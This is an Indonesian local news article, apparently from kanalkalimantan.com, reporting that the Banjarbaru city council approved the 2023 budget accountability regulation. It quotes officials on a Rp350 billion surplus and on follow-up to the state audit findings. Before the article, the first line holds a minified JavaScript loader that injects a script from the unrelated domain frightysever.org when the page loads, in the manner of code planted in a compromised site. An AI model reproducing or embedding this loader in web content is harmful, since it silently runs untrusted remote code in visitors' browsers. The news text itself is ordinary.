(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru menyetujui Rancangan Peraturan Daerah (Raperda) tentang Pertanggungjawaban Pelaksanaan Anggaran Pendapatan dan Belanja Daerah (APBD) tahun anggaran 2023.
Rapat paripurna pengambilan keputusan berlangsung di ruang graha paripurna ini dipimpin Ketua DPRD Banjararu Fadliansyah dihadiri Wali Kota Banjarbaru Aditya Mufti Ariffin, Selasa (9/7/2024) siang.
Dalam rapat tersebut, DPRD Kota Banjarbaru secara resmi menyetujui dan mengesahkan Raperda tentang Pertanggungjawaban Pelaksanaan APBD tahun anggaran 2023.
Ketua DPRD Banjarbaru, Fadliansyah mengatakan, pengesahan Raperda Pertanggungjawaban Pelaksanaan APBD 2023 menjadi tolak ukur bagi Badan Anggaran (Banggar) DPRD maupun Tim Anggaran Pemerintah Daerah (TAPD) dalam pembahasan APBD Perubahan 2024. Tercatat Sisa Lebih Perhitungan Anggaran (Silpa) pada APBD 2023 sebesar Rp350 miliar.
Baca juga: Halu Kecubung ‘Landa’ Kalsel, Dua Pengguna Meninggal Dunia di RSJ Sambang Lihum
“Angka ini termasuk besar, saya harapkan bisa terserap anggaran, sehingga Silpa tidak terlalu besar. Semoga yang belum terbayarkan seperti dana transfer Pemprov dan pemerintah pusat bisa ditransfer,” ujarnya.
Raperda Pertanggungjawaban Pelaksanaan APBD 2023 disebut Fadli, merupakan rekomendasi dari Laporan Hasil Pemeriksaan (LHP) Badan Pemeriksa Keuangan (BPK). Dia berharap Pemko Banjarbaru dapat menindaklanjut temuan dalam LHP BPK.
“Ada tindak lanjut dari Pemko terkait penyelesaian temuan LHP BPK, mulai dari penataan aset, tanah rumah, bangunan. Sehingga temuan ini tidak terulang lagi ke depan,” ingatnya.
Sementara itu, Wali Kota Banjarbaru, Aditya Mufti Ariffin memastikan bahwa Pemko Banjarbaru telah menindaklanjuti semua rekomendasi dalam LHP BPK.
Baca juga: Kasus Investasi Bodong BBM Oknum Bhayangkari Jalani Sidang Pertama
“Sudah melalui mekanisme dari catatan BPK yang sudah kita penuhi, sehingga bisa di-Perda-kan,” tuturnya.
BPK memberi waktu kepada Pemko Banjarbaru untuk menindaklanjuti catatan dalam LHP. Adapun waktu untuk menindaklanjutinya beragam, mulai dari 10 hingga 20 hari. (Kanalkalimantan.com/bie)
Reporter: bie
Editor: kk
KANALKALIMANTAN.COM, MARTAPURA - Suasana khidmat mewarnai peringatan Maulid Nabi Muhammad SAW yang digelar Pemkab Banjar… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Menjelang penetapan calon gubernur dan wakil gubernur relawan Muhidin-Hasnur dari 13 kabupaten… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kabar Minggu Raya –kawasan kuliner- di jantung Ibu Kota Provinsi Kalimantan Selatan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Syair-syair maulid sebagai pujian kepada Nabi Muhammad SAW menggema di Masjid Sultan… Read More
KANALKALIMANTAN.COM - Kamu mungkin sudah tahu bahwa profesi farmasi adalah salah satu pilar penting dalam dunia… Read More
KANALKALIMANTAN.COM, MARTAPURA - Suasana di Pasar Terapung Lokbaintan, Kecamatan Sungaitabuk, Kabupaten Banjar pada Minggu (15/9/2024)… Read More
This website uses cookies.